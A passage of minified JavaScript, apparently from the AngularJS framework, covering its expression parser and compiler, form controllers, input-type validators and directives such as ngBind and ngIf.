t=[],n;if("}"!==this.peekToken().text)do{if(this.peek("}"))break;n={type:i.Property,kind:"init"};this.peek().constant?(n.key=this.constant(),n.computed=!1,this.consume(":"),n.value=this.expression()):this.peek().identifier?(n.key=this.identifier(),n.computed=!1,this.peek(":")?(this.consume(":"),n.value=this.expression()):n.value=n.key):this.peek("[")?(this.consume("["),n.key=this.expression(),this.consume("]"),n.computed=!0,this.consume(":"),n.value=this.expression()):this.throwError("invalid key",this.peek());t.push(n)}while(this.expect(","));return this.consume("}"),{type:i.ObjectExpression,properties:t}},throwError:function(n,t){throw ir("syntax",t.text,n,t.index+1,this.text,this.text.substring(t.index));},consume:function(n){if(0===this.tokens.length)throw ir("ueoe",this.text);var t=this.expect(n);return t||this.throwError("is unexpected, expecting ["+n+"]",this.peek()),t},peekToken:function(){if(0===this.tokens.length)throw ir("ueoe",this.text);return this.tokens[0]},peek:function(n,t,i,r){return this.peekAhead(0,n,t,i,r)},peekAhead:function(n,t,i,r,u){if(this.tokens.length>n){n=this.tokens[n];var f=n.text;if(f===t||f===i||f===r||f===u||!(t||i||r||u))return n}return!1},expect:function(n,t,i,r){return(n=this.peek(n,t,i,r))?(this.tokens.shift(),n):!1},selfReferential:{"this":{type:i.ThisExpression},$locals:{type:i.LocalsExpression}}};yo=2;hh.prototype={compile:function(n){var i=this,r,u;return this.state={nextId:0,filters:{},fn:{vars:[],body:[],own:{}},assign:{vars:[],body:[],own:{}},inputs:[]},d(n,i.$filter),r="",this.stage="assign",(u=sh(n))&&(this.state.computing="assign",r=this.nextId(),this.recurse(u,r),this.return_(r),r="fn.assign="+this.generateFunction("assign","s,v,l")),u=eh(n.body),i.stage="inputs",t(u,function(n,t){var r="fn"+t,u;i.state[r]={vars:[],body:[],own:{}};i.state.computing=r;u=i.nextId();i.recurse(n,u);i.return_(u);i.state.inputs.push({name:r,isPure:n.isPure});n.watchId=t}),this.state.computing="fn",this.stage="main",this.recurse(n),n='"'+this.USE+" "+this.STRICT+'";\n'+this.filterPrefix()+"var fn="+this.generateFunction("fn","s,l,a,i")+r+this.watchFns()+"return fn;",n=new Function("$filter","getStringValue","ifDefined","plus",n)(this.$filter,ey,oy,fh),this.state=this.stage=void 0,n},USE:"use",STRICT:"strict",watchFns:function(){var n=[],i=this.state.inputs,r=this;return t(i,function(t){n.push("var "+t.name+"="+r.generateFunction(t.name,"s"));t.isPure&&n.push(t.name,".isPure="+JSON.stringify(t.isPure)+";")}),i.length&&n.push("fn.inputs=["+i.map(function(n){return n.name}).join(",")+"];"),n.join("")},generateFunction:function(n,t){return"function("+t+"){"+this.varsPrefix(n)+this.body(n)+"};"},filterPrefix:function(){var n=[],i=this;return t(this.state.filters,function(t,r){n.push(t+"=$filter("+i.escape(r)+")")}),n.length?"var "+n.join(",")+";":""},varsPrefix:function(n){return this.state[n].vars.length?"var "+this.state[n].vars.join(",")+";":""},body:function(n){return this.state[n].body.join("")},recurse:function(n,u,f,e,o,h){var l,a,c=this,y,v,p;if(e=e||s,!h&&r(n.watchId))u=u||this.nextId(),this.if_("i",this.lazyAssign(u,this.computedMember("i",n.watchId)),this.lazyRecurse(n,u,f,e,o,!0));else switch(n.type){case i.Program:t(n.body,function(t,i){c.recurse(t.expression,void 0,void 0,function(n){a=n});i!==n.body.length-1?c.current().body.push(a,";"):c.return_(a)});break;case i.Literal:v=this.escape(n.value);this.assign(u,v);e(u||v);break;case i.UnaryExpression:this.recurse(n.argument,void 0,void 0,function(n){a=n});v=n.operator+"("+this.ifDefined(a,0)+")";this.assign(u,v);e(v);break;case i.BinaryExpression:this.recurse(n.left,void 0,void 0,function(n){l=n});this.recurse(n.right,void 0,void 0,function(n){a=n});v="+"===n.operator?this.plus(l,a):"-"===n.operator?this.ifDefined(l,0)+n.operator+this.ifDefined(a,0):"("+l+")"+n.operator+"("+a+")";this.assign(u,v);e(v);break;case i.LogicalExpression:u=u||this.nextId();c.recurse(n.left,u);c.if_("&&"===n.operator?u:c.not(u),c.lazyRecurse(n.right,u));e(u);break;case i.ConditionalExpression:u=u||this.nextId();c.recurse(n.test,u);c.if_(u,c.lazyRecurse(n.alternate,u),c.lazyRecurse(n.consequent,u));e(u);break;case i.Identifier:u=u||this.nextId();f&&(f.context="inputs"===c.stage?"s":this.assign(this.nextId(),this.getHasOwnProperty("l",n.name)+"?l:s"),f.computed=!1,f.name=n.name);c.if_("inputs"===c.stage||c.not(c.getHasOwnProperty("l",n.name)),function(){c.if_("inputs"===c.stage||"s",function(){o&&1!==o&&c.if_(c.isNull(c.nonComputedMember("s",n.name)),c.lazyAssign(c.nonComputedMember("s",n.name),"{}"));c.assign(u,c.nonComputedMember("s",n.name))})},u&&c.lazyAssign(u,c.nonComputedMember("l",n.name)));e(u);break;case i.MemberExpression:l=f&&(f.context=this.nextId())||this.nextId();u=u||this.nextId();c.recurse(n.object,l,void 0,function(){c.if_(c.notNull(l),function(){n.computed?(a=c.nextId(),c.recurse(n.property,a),c.getStringValue(a),o&&1!==o&&c.if_(c.not(c.computedMember(l,a)),c.lazyAssign(c.computedMember(l,a),"{}")),v=c.computedMember(l,a),c.assign(u,v),f&&(f.computed=!0,f.name=a)):(o&&1!==o&&c.if_(c.isNull(c.nonComputedMember(l,n.property.name)),c.lazyAssign(c.nonComputedMember(l,n.property.name),"{}")),v=c.nonComputedMember(l,n.property.name),c.assign(u,v),f&&(f.computed=!1,f.name=n.property.name))},function(){c.assign(u,"undefined")});e(u)},!!o);break;case i.CallExpression:u=u||this.nextId();n.filter?(a=c.filter(n.callee.name),y=[],t(n.arguments,function(n){var t=c.nextId();c.recurse(n,t);y.push(t)}),v=a+"("+y.join(",")+")",c.assign(u,v),e(u)):(a=c.nextId(),l={},y=[],c.recurse(n.callee,a,l,function(){c.if_(c.notNull(a),function(){t(n.arguments,function(t){c.recurse(t,n.constant?void 0:c.nextId(),void 0,function(n){y.push(n)})});v=l.name?c.member(l.context,l.name,l.computed)+"("+y.join(",")+")":a+"("+y.join(",")+")";c.assign(u,v)},function(){c.assign(u,"undefined")});e(u)}));break;case i.AssignmentExpression:a=this.nextId();l={};this.recurse(n.left,void 0,l,function(){c.if_(c.notNull(l.context),function(){c.recurse(n.right,a);v=c.member(l.context,l.name,l.computed)+n.operator+a;c.assign(u,v);e(u||v)})},1);break;case i.ArrayExpression:y=[];t(n.elements,function(t){c.recurse(t,n.constant?void 0:c.nextId(),void 0,function(n){y.push(n)})});v="["+y.join(",")+"]";this.assign(u,v);e(u||v);break;case i.ObjectExpression:y=[];p=!1;t(n.properties,function(n){n.computed&&(p=!0)});p?(u=u||this.nextId(),this.assign(u,"{}"),t(n.properties,function(n){n.computed?(l=c.nextId(),c.recurse(n.key,l)):l=n.key.type===i.Identifier?n.key.name:""+n.key.value;a=c.nextId();c.recurse(n.value,a);c.assign(c.member(u,l,n.computed),a)})):(t(n.properties,function(t){c.recurse(t.value,n.constant?void 0:c.nextId(),void 0,function(n){y.push(c.escape(t.key.type===i.Identifier?t.key.name:""+t.key.value)+":"+n)})}),v="{"+y.join(",")+"}",this.assign(u,v));e(u||v);break;case i.ThisExpression:this.assign(u,"s");e(u||"s");break;case i.LocalsExpression:this.assign(u,"l");e(u||"l");break;case i.NGValueParameter:this.assign(u,"v");e(u||"v")}},getHasOwnProperty:function(n,t){var i=n+"."+t,r=this.current().own;return r.hasOwnProperty(i)||(r[i]=this.nextId(!1,n+"&&("+this.escape(t)+" in "+n+")")),r[i]},assign:function(n,t){if(n)return this.current().body.push(n,"=",t,";"),n},filter:function(n){return this.state.filters.hasOwnProperty(n)||(this.state.filters[n]=this.nextId(!0)),this.state.filters[n]},ifDefined:function(n,t){return"ifDefined("+n+","+this.escape(t)+")"},plus:function(n,t){return"plus("+n+","+t+")"},return_:function(n){this.current().body.push("return ",n,";")},if_:function(n,t,i){if(!0===n)t();else{var r=this.current().body;r.push("if(",n,"){");t();r.push("}");i&&(r.push("else{"),i(),r.push("}"))}},not:function(n){return"!("+n+")"},isNull:function(n){return n+"==null"},notNull:function(n){return n+"!=null"},nonComputedMember:function(n,t){return/^[$_a-zA-Z][$_a-zA-Z0-9]*$/.test(t)?n+"."+t:n+'["'+t.replace(/[^$_a-zA-Z0-9]/g,this.stringEscapeFn)+'"]'},computedMember:function(n,t){return n+"["+t+"]"},member:function(n,t,i){return i?this.computedMember(n,t):this.nonComputedMember(n,t)},getStringValue:function(n){this.assign(n,"getStringValue("+n+")")},lazyRecurse:function(n,t,i,r,u,f){var e=this;return function(){e.recurse(n,t,i,r,u,f)}},lazyAssign:function(n,t){var i=this;return function(){i.assign(n,t)}},stringEscapeRegex:/[^ a-zA-Z0-9]/g,stringEscapeFn:function(n){return"\\u"+("0000"+n.charCodeAt(0).toString(16)).slice(-4)},escape:function(n){if(h(n))return"'"+n.replace(this.stringEscapeRegex,this.stringEscapeFn)+"'";if(nt(n))return n.toString();if(!0===n)return"true";if(!1===n)return"false";if(null===n)return"null";if("undefined"==typeof n)return"undefined";throw ir("esc");},nextId:function(n,t){var i="v"+this.state.nextId++;return n||this.current().vars.push(i+(t?"="+t:"")),i},current:function(){return this.state[this.state.computing]}};ch.prototype={compile:function(n){var f=this,i,e,r,u;return d(n,f.$filter),(i=sh(n))&&(e=this.recurse(i)),i=eh(n.body),i&&(r=[],t(i,function(n,t){var i=f.recurse(n);i.isPure=n.isPure;n.input=i;r.push(i);n.watchId=t})),u=[],t(n.body,function(n){u.push(f.recurse(n.expression))}),n=0===n.body.length?s:1===n.body.length?u[0]:function(n,i){var r;return t(u,function(t){r=t(n,i)}),r},e&&(n.assign=function(n,t,i){return e(n,i,t)}),r&&(n.inputs=r),n},recurse:function(n,r,u){var o,e,s=this,f;if(n.input)return this.inputs(n.input,n.watchId);switch(n.type){case i.Literal:return this.value(n.value,r);case i.UnaryExpression:return e=this.recurse(n.argument),this["unary"+n.operator](e,r);case i.BinaryExpression:return o=this.recurse(n.left),e=this.recurse(n.right),this["binary"+n.operator](o,e,r);case i.LogicalExpression:return o=this.recurse(n.left),e=this.recurse(n.right),this["binary"+n.operator](o,e,r);case i.ConditionalExpression:return this["ternary?:"](this.recurse(n.test),this.recurse(n.alternate),this.recurse(n.consequent),r);case i.Identifier:return s.identifier(n.name,r,u);case i.MemberExpression:return o=this.recurse(n.object,!1,!!u),n.computed||(e=n.property.name),n.computed&&(e=this.recurse(n.property)),n.computed?this.computedMember(o,e,r,u):this.nonComputedMember(o,e,r,u);case i.CallExpression:return f=[],t(n.arguments,function(n){f.push(s.recurse(n))}),n.filter&&(e=this.$filter(n.callee.name)),n.filter||(e=this.recurse(n.callee,!0)),n.filter?function(n,t,i,u){for(var s=[],o=0;o<f.length;++o)s.push(f[o](n,t,i,u));return n=e.apply(void 0,s,u),r?{context:void 0,name:void 0,value:n}:n}:function(n,t,i,u){var h=e(n,t,i,u),o,s;if(null!=h.value){for(o=[],s=0;s<f.length;++s)o.push(f[s](n,t,i,u));o=h.value.apply(h.context,o)}return r?{value:o}:o};case i.AssignmentExpression:return o=this.recurse(n.left,!0,1),e=this.recurse(n.right),function(n,t,i,u){var f=o(n,t,i,u);return n=e(n,t,i,u),f.context[f.name]=n,r?{value:n}:n};case i.ArrayExpression:return f=[],t(n.elements,function(n){f.push(s.recurse(n))}),function(n,t,i,u){for(var e=[],o=0;o<f.length;++o)e.push(f[o](n,t,i,u));return r?{value:e}:e};case i.ObjectExpression:return f=[],t(n.properties,function(n){n.computed?f.push({key:s.recurse(n.key),computed:!0,value:s.recurse(n.value)}):f.push({key:n.key.type===i.Identifier?n.key.name:""+n.key.value,computed:!1,value:s.recurse(n.value)})}),function(n,t,i,u){for(var o={},e=0;e<f.length;++e)f[e].computed?o[f[e].key(n,t,i,u)]=f[e].value(n,t,i,u):o[f[e].key]=f[e].value(n,t,i,u);return r?{value:o}:o};case i.ThisExpression:return function(n){return r?{value:n}:n};case i.LocalsExpression:return function(n,t){return r?{value:t}:t};case i.NGValueParameter:return function(n,t,i){return r?{value:i}:i}}},"unary+":function(n,t){return function(i,u,f,e){return i=n(i,u,f,e),i=r(i)?+i:0,t?{value:i}:i}},"unary-":function(n,t){return function(i,u,f,e){return i=n(i,u,f,e),i=r(i)?-i:-0,t?{value:i}:i}},"unary!":function(n,t){return function(i,r,u,f){return i=!n(i,r,u,f),t?{value:i}:i}},"binary+":function(n,t,i){return function(r,u,f,e){var o=n(r,u,f,e);return r=t(r,u,f,e),o=fh(o,r),i?{value:o}:o}},"binary-":function(n,t,i){return function(u,f,e,o){var s=n(u,f,e,o);return u=t(u,f,e,o),s=(r(s)?s:0)-(r(u)?u:0),i?{value:s}:s}},"binary*":function(n,t,i){return function(r,u,f,e){return r=n(r,u,f,e)*t(r,u,f,e),i?{value:r}:r}},"binary/":function(n,t,i){return function(r,u,f,e){return r=n(r,u,f,e)/t(r,u,f,e),i?{value:r}:r}},"binary%":function(n,t,i){return function(r,u,f,e){return r=n(r,u,f,e)%t(r,u,f,e),i?{value:r}:r}},"binary===":function(n,t,i){return function(r,u,f,e){return r=n(r,u,f,e)===t(r,u,f,e),i?{value:r}:r}},"binary!==":function(n,t,i){return function(r,u,f,e){return r=n(r,u,f,e)!==t(r,u,f,e),i?{value:r}:r}},"binary==":function(n,t,i){return function(r,u,f,e){return r=n(r,u,f,e)==t(r,u,f,e),i?{value:r}:r}},"binary!=":function(n,t,i){return function(r,u,f,e){return r=n(r,u,f,e)!=t(r,u,f,e),i?{value:r}:r}},"binary<":function(n,t,i){return function(r,u,f,e){return r=n(r,u,f,e)<t(r,u,f,e),i?{value:r}:r}},"binary>":function(n,t,i){return function(r,u,f,e){return r=n(r,u,f,e)>t(r,u,f,e),i?{value:r}:r}},"binary<=":function(n,t,i){return function(r,u,f,e){return r=n(r,u,f,e)<=t(r,u,f,e),i?{value:r}:r}},"binary>=":function(n,t,i){return function(r,u,f,e){return r=n(r,u,f,e)>=t(r,u,f,e),i?{value:r}:r}},"binary&&":function(n,t,i){return function(r,u,f,e){return r=n(r,u,f,e)&&t(r,u,f,e),i?{value:r}:r}},"binary||":function(n,t,i){return function(r,u,f,e){return r=n(r,u,f,e)||t(r,u,f,e),i?{value:r}:r}},"ternary?:":function(n,t,i,r){return function(u,f,e,o){return u=n(u,f,e,o)?t(u,f,e,o):i(u,f,e,o),r?{value:u}:u}},value:function(n,t){return function(){return t?{context:void 0,name:void 0,value:n}:n}},identifier:function(n,t,i){return function(r,u){return r=u&&n in u?u:r,i&&1!==i&&r&&null==r[n]&&(r[n]={}),u=r?r[n]:void 0,t?{context:r,name:n,value:u}:u}},computedMember:function(n,t,i,r){return function(u,f,e,o){var s=n(u,f,e,o),h,c;return null!=s&&(h=t(u,f,e,o),h+="",r&&1!==r&&s&&!s[h]&&(s[h]={}),c=s[h]),i?{context:s,name:h,value:c}:c}},nonComputedMember:function(n,t,i,r){return function(u,f,e,o){return u=n(u,f,e,o),r&&1!==r&&u&&null==u[t]&&(u[t]={}),f=null!=u?u[t]:void 0,i?{context:u,name:t,value:f}:f}},inputs:function(n,t){return function(i,r,u,f){return f?f[t]:n(i,r,u)}}};yu.prototype={constructor:yu,parse:function(n){n=this.getAst(n);var r=this.astCompiler.compile(n.ast),t=n.ast;return r.literal=0===t.body.length||1===t.body.length&&(t.body[0].expression.type===i.Literal||t.body[0].expression.type===i.ArrayExpression||t.body[0].expression.type===i.ObjectExpression),r.constant=n.ast.constant,r.oneTime=n.oneTime,r},getAst:function(n){var t=!1;return n=n.trim(),":"===n.charAt(0)&&":"===n.charAt(1)&&(t=!0,n=n.substring(2)),{ast:this.ast.ast(n),oneTime:t}}};var ri=l("$sce"),k={HTML:"html",CSS:"css",MEDIA_URL:"mediaUrl",URL:"url",RESOURCE_URL:"resourceUrl",JS:"js"},po=/_([a-z])/g,sb=l("$templateRequest"),hb=l("$timeout"),g=n.document.createElement("a"),tl=ut(n.location.href),rr;g.href="http://[::1]";il="[::1]"===g.hostname;vh.$inject=["$document"];yh.$inject=["$provide"];var rl=22,ul=".",wo="0";ph.$inject=["$locale"];wh.$inject=["$locale"];var cb={yyyy:tt("FullYear",4,0,!1,!0),yy:tt("FullYear",2,0,!0,!0),y:tt("FullYear",1,0,!1,!0),MMMM:pr("Month"),MMM:pr("Month",!0),MM:tt("Month",2,1),M:tt("Month",1,1),LLLL:pr("Month",!1,!0),dd:tt("Date",2),d:tt("Date",1),HH:tt("Hours",2),H:tt("Hours",1),hh:tt("Hours",2,-12),h:tt("Hours",1,-12),mm:tt("Minutes",2),m:tt("Minutes",1),ss:tt("Seconds",2),s:tt("Seconds",1),sss:tt("Milliseconds",3),EEEE:pr("Day"),EEE:pr("Day",!0),a:function(n,t){return 12>n.getHours()?t.AMPMS[0]:t.AMPMS[1]},Z:function(n,t,i){return n=-1*i,(0<=n?"+":"")+(pu(Math[0<n?"floor":"ceil"](n/60),2)+pu(Math.abs(n%60),2))},ww:dh(2),w:dh(1),G:be,GG:be,GGG:be,GGGG:function(n,t){return 0>=n.getFullYear()?t.ERANAMES[0]:t.ERANAMES[1]}},lb=/((?:[^yMLdHhmsaZEwG']+)|(?:'(?:[^']|'')*')|(?:E+|y+|M+|L+|d+|H+|h+|m+|s+|a|Z|G+|w+))([\s\S]*)/,ab=/^-?\d+$/;gh.$inject=["$locale"];fl=ot(a);el=ot(gu);nc.$inject=["$parse"];ol=ot({restrict:"E",compile:function(n,t){if(!t.href&&!t.xlinkHref)return function(n,t){if("a"===t[0].nodeName.toLowerCase()){var i="[object SVGAnimatedString]"===ft.call(t.prop("href"))?"xlink:href":"href";t.on("click",function(n){t.attr(i)||n.preventDefault()})}}}});dr={};t(ff,function(n,t){function r(n,r,u){n.$watch(u[i],function(n){u.$set(t,!!n)})}if("multiple"!==n){var i=yt("ng-"+t),u=r;"checked"===n&&(u=function(n,t,u){u.ngModel!==u[i]&&r(n,t,u)});dr[i]=function(){return{restrict:"A",priority:100,link:u}}}});t(lo,function(n,t){dr[t]=function(){return{priority:100,link:function(n,i,r){if("ngPattern"===t&&"/"===r.ngPattern.charAt(0)&&(i=r.ngPattern.match(cc))){r.$set("ngPattern",new RegExp(i[1],i[2]));return}n.$watch(r[t],function(n){r.$set(t,n)})}}}});t(["src","srcset","href"],function(n){var t=yt("ng-"+n);dr[t]=["$sce",function(i){return{priority:99,link:function(r,u,f){var o=n,e=n;"href"===n&&"[object SVGAnimatedString]"===ft.call(u.prop("href"))&&(e="xlinkHref",f.$attr[e]="xlink:href",o=null);f.$set(t,i.getTrustedMediaUrl(f[t]));f.$observe(t,function(t){t?(f.$set(e,t),wt&&o&&u.prop(o,f[e])):"href"===n&&f.$set(e,null)})}}}]});ur={$addControl:s,$getControls:ot([]),$$renameControl:function(n,t){n.$name=t},$removeControl:s,$setValidity:s,$setDirty:s,$setPristine:s,$setSubmitted:s,$$setSubmitted:s};wu.$inject=["$element","$attrs","$scope","$animate","$interpolate"];wu.prototype={$rollbackViewValue:function(){t(this.$$controls,function(n){n.$rollbackViewValue()})},$commitViewValue:function(){t(this.$$controls,function(n){n.$commitViewValue()})},$addControl:function(n){wi(n.$name,"input");this.$$controls.push(n);n.$name&&(this[n.$name]=n);n.$$parentForm=this},$getControls:function(){return vt(this.$$controls)},$$renameControl:function(n,t){var i=n.$name;this[i]===n&&delete this[i];this[t]=n;n.$name=t},$removeControl:function(n){n.$name&&this[n.$name]===n&&delete this[n.$name];t(this.$pending,function(t,i){this.$setValidity(i,null,n)},this);t(this.$error,function(t,i){this.$setValidity(i,null,n)},this);t(this.$$success,function(t,i){this.$setValidity(i,null,n)},this);hr(this.$$controls,n);n.$$parentForm=ur},$setDirty:function(){this.$$animate.removeClass(this.$$element,fr);this.$$animate.addClass(this.$$element,cf);this.$dirty=!0;this.$pristine=!1;this.$$parentForm.$setDirty()},$setPristine:function(){this.$$animate.setClass(this.$$element,fr,cf+" ng-submitted");this.$dirty=!1;this.$pristine=!0;this.$submitted=!1;t(this.$$controls,function(n){n.$setPristine()})},$setUntouched:function(){t(this.$$controls,function(n){n.$setUntouched()})},$setSubmitted:function(){for(var n=this;n.$$parentForm&&n.$$parentForm!==ur;)n=n.$$parentForm;n.$$setSubmitted()},$$setSubmitted:function(){this.$$animate.addClass(this.$$element,"ng-submitted");this.$submitted=!0;t(this.$$controls,function(n){n.$$setSubmitted&&n.$$setSubmitted()})}};ic({clazz:wu,set:function(n,t,i){var r=n[t];r?-1===r.indexOf(i)&&r.push(i):n[t]=[i]},unset:function(n,t,i){var r=n[t];r&&(hr(r,i),0===r.length&&delete n[t])}});var sl=function(n){return["$timeout","$parse",function(t,i){function r(n){return""===n?i('this[""]').assign:i(n).assign||s}return{name:"form",restrict:n?"EAC":"E",require:["form","^^?form"],controller:wu,compile:function(i,u){i.addClass(fr).addClass(gr);var f=u.name?"name":n&&u.ngForm?"ngForm":!1;return{pre:function(n,i,u,e){var o=e[0],c,h;if(!("action"in u)){c=function(t){n.$apply(function(){o.$commitViewValue();o.$setSubmitted()});t.preventDefault()};i[0].addEventListener("submit",c);i.on("$destroy",function(){t(function(){i[0].removeEventListener("submit",c)},0,!1)})}(e[1]||o.$$parentForm).$addControl(o);h=f?r(o.$name):s;f&&(h(n,o),u.$observe(f,function(t){o.$name!==t&&(h(n,void 0),o.$$parentForm.$$renameControl(o,t),h=r(o.$name),h(n,o))}));i.on("$destroy",function(){o.$$parentForm.$removeControl(o);h(n,void 0);v(o,ur)})}}}}}]},vb=sl(),yb=sl(!0),pb=/^\d{4,}-[01]\d-[0-3]\dT[0-2]\d:[0-5]\d:[0-5]\d\.\d+(?:[+-][0-2]\d:[0-5]\d|Z)$/,wb=/^[a-z][a-z\d.+-]*:\/*(?:[^:@]+(?::[^@]+)?@)?(?:[^\s:/?#]+|\[[a-f\d:]+])(?::\d+)?(?:\/[^?#]*)?(?:\?[^#]*)?(?:#.*)?$/i,bb=/^(?=.{1,254}$)(?=.{1,64}@)[-!#$%&'*+/0-9=?A-Z^_`a-z{|}~]+(\.[-!#$%&'*+/0-9=?A-Z^_`a-z{|}~]+)*@[A-Za-z0-9]([A-Za-z0-9-]{0,61}[A-Za-z0-9])?(\.[A-Za-z0-9]([A-Za-z0-9-]{0,61}[A-Za-z0-9])?)*$/,kb=/^\s*(-|\+)?(\d+|(\d*(\.\d*)))([eE][+-]?\d+)?\s*$/,hl=/^(\d{4,})-(\d{2})-(\d{2})$/,cl=/^(\d{4,})-(\d\d)-(\d\d)T(\d\d):(\d\d)(?::(\d\d)(\.\d{1,3})?)?$/,bo=/^(\d{4,})-W(\d\d)$/,ll=/^(\d{4,})-(\d\d)$/,al=/^(\d\d):(\d\d)(?::(\d\d)(\.\d{1,3})?)?$/,vl=y();t(["date","datetime-local","month","time","week"],function(n){vl[n]=!0});var yl={text:function(n,t,i,r,u,f){di(n,t,i,r,u,f);de(r)},date:wr("date",hl,bu(hl,["yyyy","MM","dd"]),"yyyy-MM-dd"),"datetime-local":wr("datetimelocal",cl,bu(cl,"yyyy MM dd HH mm ss sss".split(" ")),"yyyy-MM-ddTHH:mm:ss.sss"),time:wr("time",al,bu(al,["HH","mm","ss","sss"]),"HH:mm:ss.sss"),week:wr("week",bo,function(n,t){var i;if(st(n))return n;if(h(n)&&(bo.lastIndex=0,i=bo.exec(n),i)){var r=+i[1],u=+i[2],f=i=0,e=0,o=0,s=kh(r),u=7*(u-1);return t&&(i=t.getHours(),f=t.getMinutes(),e=t.getSeconds(),o=t.getMilliseconds()),new Date(r,0,s.getDate()+u,i,f,e,o)}return NaN},"yyyy-Www"),month:wr("month",ll,bu(ll,["yyyy","MM"]),"yyyy-MM"),number:function(n,t,i,f,e,o,s,h){var c,l,a,v,y,p;ge(n,t,i,f,"number");uc(f);di(n,t,i,f,e,o);(r(i.min)||i.ngMin)&&(l=i.min||h(i.ngMin)(n),c=ct(l),f.$validators.min=function(n,t){return f.$isEmpty(t)||u(c)||t>=c},i.$observe("min",function(n){n!==l&&(c=ct(n),l=n,f.$validate())}));(r(i.max)||i.ngMax)&&(a=i.max||h(i.ngMax)(n),v=ct(a),f.$validators.max=function(n,t){return f.$isEmpty(t)||u(v)||t<=v},i.$observe("max",function(n){n!==a&&(v=ct(n),a=n,f.$validate())}));(r(i.step)||i.ngStep)&&(y=i.step||h(i.ngStep)(n),p=ct(y),f.$validators.step=function(n,t){return f.$isEmpty(t)||u(p)||fc(t,c||0,p)},i.$observe("step",function(n){n!==y&&(p=ct(n),y=n,f.$validate())}))},url:function(n,t,i,r,u,f){di(n,t,i,r,u,f);de(r);r.$validators.url=function(n,t){var i=n||t;return r.$isEmpty(i)||wb.test(i)}},email:function(n,t,i,r,u,f){di(n,t,i,r,u,f);de(r);r.$validators.email=function(n,t){var i=n||t;return r.$isEmpty(i)||bb.test(i)}},radio:function(n,t,i,r){var f=!i.ngTrim||"false"!==p(i.ngTrim);u(i.name)&&t.attr("name",++tf);t.on("change",function(n){var u;t[0].checked&&(u=i.value,f&&(u=p(u)),r.$setViewValue(u,n&&n.type))});r.$render=function(){var n=i.value;f&&(n=p(n));t[0].checked=n===r.$viewValue};i.$observe("value",r.$render)},range:function(n,t,i,f,e,o){function a(n,r){t.attr(n,i[n]);var u=i[n];i.$observe(n,function(n){n!==u&&(u=n,r(n))})}function p(n){h=ct(n);it(f.$modelValue)||(s?(n=t.val(),h>n&&(n=h,t.val(n)),f.$setViewValue(n)):f.$validate())}function w(n){c=ct(n);it(f.$modelValue)||(s?(n=t.val(),c<n&&(t.val(c),n=c<h?h:c),f.$setViewValue(n)):f.$validate())}function b(n){l=ct(n);it(f.$modelValue)||(s?f.$viewValue!==t.val()&&f.$setViewValue(t.val()):f.$validate())}var y;ge(n,t,i,f,"range");uc(f);di(n,t,i,f,e,o);var s=f.$$hasNativeValidators&&"range"===t[0].type,h=s?0:void 0,c=s?100:void 0,l=s?1:void 0,v=t[0].validity;n=r(i.min);e=r(i.max);o=r(i.step);y=f.$render;f.$render=s&&r(v.rangeUnderflow)&&r(v.rangeOverflow)?function(){y();f.$setViewValue(t.val())}:y;n&&(h=ct(i.min),f.$validators.min=s?function(){return!0}:function(n,t){return f.$isEmpty(t)||u(h)||t>=h},a("min",p));e&&(c=ct(i.max),f.$validators.max=s?function(){return!0}:function(n,t){return f.$isEmpty(t)||u(c)||t<=c},a("max",w));o&&(l=ct(i.step),f.$validators.step=s?function(){return!v.stepMismatch}:function(n,t){return f.$isEmpty(t)||u(l)||fc(t,h||0,l)},a("step",b))},checkbox:function(n,t,i,r,u,f,e,o){var s=ec(o,n,"ngTrueValue",i.ngTrueValue,!0),h=ec(o,n,"ngFalseValue",i.ngFalseValue,!1);t.on("change",function(n){r.$setViewValue(t[0].checked,n&&n.type)});r.$render=function(){t[0].checked=r.$viewValue};r.$isEmpty=function(n){return!1===n};r.$formatters.push(function(n){return at(n,s)});r.$parsers.push(function(n){return n?s:h})},hidden:s,button:s,submit:s,reset:s,file:s},pl=["$browser","$sniffer","$filter","$parse",function(n,t,i,r){return{restrict:"E",require:["?ngModel"],link:{pre:function(u,f,e,o){o[0]&&(yl[a(e.type)]||yl.text)(u,f,e,o[0],t,n,i,r)}}}}],db=function(){var n={configurable:!0,enumerable:!1,get:function(){return this.getAttribute("value")||""},set:function(n){this.setAttribute("value",n)}};return{restrict:"E",priority:200,compile:function(t,i){if("hidden"===a(i.type))return{pre:function(t,i){t=i[0];t.parentNode&&t.parentNode.insertBefore(t,t.nextSibling);Object.defineProperty&&Object.defineProperty(t,"value",n)}}}}},gb=/^(true|false|\d+)$/,nk=function(){function n(n,t,i){var u=r(i)?i:9===wt?"":null;n.prop("value",u);t.$set("value",i)}return{restrict:"A",priority:100,compile:function(t,i){return gb.test(i.ngValue)?function(t,i,r){t=t.$eval(r.ngValue);n(i,r,t)}:function(t,i,r){t.$watch(r.ngValue,function(t){n(i,r,t)})}}}},tk=["$compile",function(n){return{restrict:"AC",compile:function(t){return n.$$addBindingClass(t),function(t,i,r){n.$$addBindingInfo(i,r.ngBind);i=i[0];t.$watch(r.ngBind,function(n){i.textContent=re(n)})}}}}],ik=["$interpolate","$compile",function(n,t){return{compile:function(i){return t.$$addBindingClass(i),function(i,r,f){i=n(r.attr(f.$attr.ngBindTemplate));t.$$addBindingInfo(r,i.expressions);r=r[0];f.$observe("ngBindTemplate",function(n){r.textContent=u(n)?"":n})}}}}],rk=["$sce","$parse","$compile",function(n,t,i){return{restrict:"A",compile:function(r,u){var f=t(u.ngBindHtml),e=t(u.ngBindHtml,function(t){return n.valueOf(t)});return i.$$addBindingClass(r),function(t,r,u){i.$$addBindingInfo(r,u.ngBindHtml);t.$watch(e,function(){var i=f(t);r.html(n.getTrustedHtml(i)||"")})}}}}],uk=ot({restrict:"A",require:"ngModel",link:function(n,t,i,r){r.$viewChangeListeners.push(function(){n.$eval(i.ngChange)})}}),fk=to("",!0),ek=to("Odd",0),ok=to("Even",1),sk=ki({compile:function(n,t){t.$set("ngCloak",void 0);n.removeClass("ng-cloak")}}),hk=[function(){return{restrict:"A",scope:!0,controller:"@",priority:500}}],wl={},ck={blur:!0,focus:!0};t("click dblclick mousedown mouseup mouseover mouseout mousemove mouseenter mouseleave keydown keyup keypress submit focus blur copy cut paste".split(" "),function(n){var t=yt("ng-"+n);wl[t]=["$parse","$rootScope","$exceptionHandler",function(i,r,u){return oc(i,r,u,t,n,ck[n])}]});var lk=["$animate","$compile",function(n,t){return{multiElement:!0,transclude:"element",priority:600,terminal:!0,restrict:"A",$$tlb:!0,link:function(i,r,u,f,e){var h,s,o;i.$watch(u.ngIf,function(i){i?s||e(function(i,f){s=f;i[i.length++]=t.$$createComment("end 